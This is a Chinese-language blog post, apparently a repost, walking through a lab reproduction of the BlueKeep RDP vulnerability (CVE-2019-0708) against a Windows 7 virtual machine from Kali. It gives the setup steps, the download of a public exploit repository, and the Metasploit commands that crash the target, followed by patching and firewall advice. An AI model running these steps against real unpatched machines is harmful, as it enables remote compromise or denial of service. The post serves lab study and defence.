飞道的博客

CVE-2019-0708:RDP终极EXP爆破

394人阅读  评论(0)

0x00 漏洞概述

CVE-2019-0708是微软于2019年05月14日发布的一个严重的RDP远程代码执行漏洞。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。

2019年09月07日,@rapid7 在其metasploit-framework仓库公开发布了CVE-2019-0708的利用模块,漏洞利用工具已经开始扩散,已经构成了蠕虫级的攻击威胁。

0x01 影响版本

Windows 7

Windows Server 2008 R2

Windows Server 2008

Windows 2003

Windows XP

Windows 8和Windows 10及之后版本的用户不受此漏洞影响

0x02 漏洞原理

由于对象指针在释放后再次被使用而引发UAF漏洞,详情见

https://www.anquanke.com/post/id/181577

0x03 环境搭建

环境准备:

win7 sp1 - 192.168.152.139

Kali 2019.4 - 192.168.152.138

1.win7 sp1 准备:

开启3389:

打开控制面板,选择系统和安全,选择系统,点击远程设置,弹出系统属性,点击远程,在远程桌面上选择允许运行任意版本远程桌面的计算机连接(较不安全)。

2.Win+r,输入cmd命令,输入netstat -ano查看端口状态,可以看道3389状态是listening。

3.修改注册表:

Win + R 输入 regedit 进入注册表编辑器,按以下目录找到 fDisableCam 并将值改为0

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0

4.打开kali :

Kali2019版本的要下载需要的文件
git clone https://github.com/TinToSer/bluekeep-exploit

可以看到有四个.rb后缀的文件,接下来将它们放至相应的目录(rdp目录需要自己创建)

rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rd

rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

5.查看文件是否复制成功

cd /usr/share/metasploit-framework/lib/msf/core/exploit/

cd /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/


cd /usr/share/metasploit-framework/modules/exploit/windows/rdp/

0x0****4漏洞复现

1. 启动msf:

Msfconsole

重新加载所有模块(重要):

命令:reload_all

2.搜索漏洞模块

search 2019_0708

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce //使用攻击模块

set rhosts 192.168.152.139 //设置目标主机(win7 sp1)

set rport 3389 //设置目标端口

set target 3

3.Run 执行 win7 sp1出现蓝屏

0x05 漏洞修复

1.及时打对应系统的安全补丁

2.关闭3389端口或添加防火墙安全策略限制对3389端口的访问

3.打不了补丁的可以开启远程桌面(网络级别身份验证(NLA)),可以临时防止漏洞攻击

参考链接:http://www.nmd5.com/?p=409#comment-46

https://github.com/rapid7/metasploit-framework/pull/12283


转载:https://blog.csdn.net/m0_48520508/article/details/111227252
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场